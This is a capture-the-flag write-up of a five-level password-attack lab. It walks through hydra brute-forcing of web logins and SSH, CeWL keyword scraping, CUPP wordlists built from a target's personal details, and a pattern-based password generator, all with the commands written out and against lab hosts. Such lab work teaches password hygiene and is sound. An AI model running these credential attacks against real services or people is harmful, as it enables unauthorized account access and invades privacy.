Checkmate

Jun 6, 2026

|

6 min read

| Room ↗

Checkmate is a password-hygiene story told in five levels. Each one models a service Marco Bianchi deployed with weak, predictable, or pattern-based credentials, and each level hands you a clue, if you actually read the brief.

Operation Checkmate, the five levels
Operation Checkmate room overview with five levels

Level 1: Default credentials on the firewall console

Level 1 is a login form for a FirewallOS Management Console on firewall.thm:5001.

FirewallOS login console
The FirewallOS management console login

The page says “Use your administrator credentials”, so I went with admin and threw rockyou at it with hydra:

hydra: admin against the firewall console
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.x.x.x -s 5001 \
http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -f
result (trimmed)
[5001][http-post-form] host: 10.x.x.x login: admin password: ████████
[STATUS] attack finished for 10.x.x.x (valid pair found)
1 of 1 target successfully completed, 1 valid password found

The password is a weak default. Level 1 done.

Level 2: Keyword spray on the employee portal

Level 2 is a job site, Engineering Careers on jobs.thm:5002.

Engineering Careers job portal
The jobs.thm careers portal

It has an Employee Login. The username field pre-fills marco, so I wnet with that user.

Employee Login panel
Employee login panel with a marco placeholder

My first instinct was another rockyou run:

Terminal window
hydra -l marco -P /usr/share/wordlists/rockyou.txt 10.x.x.x -s 5002 \
http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -f

…but then I re-read the level note properly:

“Marco built an internal Employee Login panel on jobs.thm:5002 and used common company keywords as passwords.”

So the password is a word from the site itself. I scraped the portal with CeWL to build a targeted keyword list:

cewl: scrape the careers site for keywords
cewl http://10.x.x.x:5002/ -d 2 -m 4 --lowercase --with-numbers --meta -w keywords.txt

Then sprayed those keywords against marco, only ~89 candidates, so it finishes in seconds:

result (trimmed)
[DATA] max 16 tasks per 1 server, overall 16 tasks, 89 login tries (l:1/p:89)
[5002][http-post-form] host: 10.x.x.x login: marco password: ████████
1 of 1 target successfully completed, 1 valid password found

A company keyword, exactly as advertised. Level 2 done.

Level 3: OSINT-built wordlist for the social account

The level note: “Navigate to social.thm:5003 and derive Marco’s password from personal info.” Logging into the portal from Level 2 exposes Marco’s profile, which leaks some personal details.

Marco's employee profile
Marco Bianchi's profile, name, nickname, birthdate

This is textbook CUPP territory, build a wordlist from a person’s personal info. First a pass over the details I collected:

cupp: wordlist from a file of collected info
cupp -w marco_info.txt
> Do you want to concatenate all words from wordlist? Y/[N]: y
> Do you want to add special chars at the end of words? Y/[N]: y
> Do you want to add some random numbers at the end of words? Y/[N]: y
> Leet mode? (i.e. leet = 1337) Y/[N]: y
[+] Saving dictionary to marco_info.txt.cupp.txt, counting 3604 words.

Then a second pass in interactive mode, feeding in the profile fields directly:

cupp -i: interactive profiling
> First Name: Marco
> Surname: Bianchi
> Nickname: marky
> Birthdate (DDMMYYYY): 14021995
> Do you want to add some key words about the victim? Y/[N]: y
> Please enter the words...: operations
> Do you want to add special chars at the end of words? Y/[N]: y
> Do you want to add some random numbers at the end of words? Y/[N]: y
> Leet mode? (i.e. leet = 1337) Y/[N]: y
[+] Saving dictionary to marco.txt, counting 13840 words.

Merge both lists (deduped) and fire:

combine and brute-force
awk '!seen[$0]++' marco.txt marco_info.txt.cupp.txt > marco_combined.txt
hydra -l marco -P marco_combined.txt 10.x.x.x -s 5003 \
http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -f
result (trimmed)
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14021 login tries (l:1/p:14021)
[5003][http-post-form] host: 10.x.x.x login: marco password: ████████
1 of 1 target successfully completed, 1 valid password found

A surname-plus-birthyear mashup, straight out of the CUPP profile. Level 3 done.

Marco's social media feed
Marco's social platform, where he overshares his password strategy

We also have another info: on his social feed Marco spells out his password formula, take a company keyword, capitalise it, append the year, add an exclamation mark. Hold onto that for the final level.

Level 4: Crack the profile-picture filename (SHA256)

The brief for Level 4:

“The platform automatically renames uploaded files to the SHA256 hash of the original filename, saved as (SHA256).png. Identify the original filename of Marco’s uploaded profile picture. Submit only the filename.”

So no password mask yet, this is a straight hash crack. Inspecting the profile picture gives the filename hash:

d34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7b

Rather than reach for hashcat, I tried CrackStation first, it’s a lookup against precomputed tables and instant for anything common:

CrackStation cracking the SHA256
CrackStation matches the SHA256 to the original filename

It resolves immediately, the original filename was a common dictionary word. Level 4 done.

Level 5: Pattern-based wordlist to brute-force SSH

The final brief: “Marco has revealed his password pattern on social.thm:5003… Use this information to generate a targeted wordlist and brute-force the SSH service with username marco.”

This is where the password formula from Level 3 pays off, keyword + capitalise + year + !. I generated a wordlist matching that exact mask from the keywords CeWL had already pulled:

generate a pattern-matched wordlist
for word in $(cat keywords.txt); do
cap=$(echo "$word" | sed 's/./\U&/') # capitalise first letter
for year in $(seq 2018 2026) 123 1 12; do # likely years + a few numbers
echo "${cap}${year}!"
done
done | sort -u > marco_ssh.txt

Then brute-force SSH:

hydra: SSH with the pattern wordlist
hydra -l marco -P marco_ssh.txt ssh://social.thm -s 5003 -V -t 4

TIP

SSH brute-forcing is slow compared to HTTP. Keeping the wordlist tight (it’s just keyword + year + !) is what makes this finish in a reasonable time. Mid-run, I realized I didn´t add marco’s birthdate but hopefully it was not needed.

result (trimmed)
[22][ssh] host: 10.x.x.x login: marco password: ████████
1 of 1 target successfully completed, 1 valid password found

keyword + year + !, exactly the formula Marco bragged about. Box complete. 🚩

Takeaways

  • Read what is given to you. My slowest moments were the two times I didn´t do that, read the things.
  • OSINT compounds. Each level fed the next: the profile fed CUPP, the social feed handed over the exact password formula that cracked SSH, sometimes older level still gives info.
  • Try the lookup first. For a common word, CrackStation is instant, no reason to spin up hashcat before checking precomputed tables.

Kill Chain

Reconnaissance T1589 · T1593.001
CeWL scrapes the careers site for keywords
CUPP profiles Marco's leaked personal info
social feed spells out the password formula
Initial Access T1078.001
hydra plus rockyou on the firewall console
weak default admin password lands the console
Credential Access T1110.001 · T1110.002 · T1110.003
keyword spray cracks the employee portal
CUPP wordlist cracks the social login
CrackStation resolves the SHA256 filename
pattern wordlist brute-forces marco over SSH
password-attacks hydra osint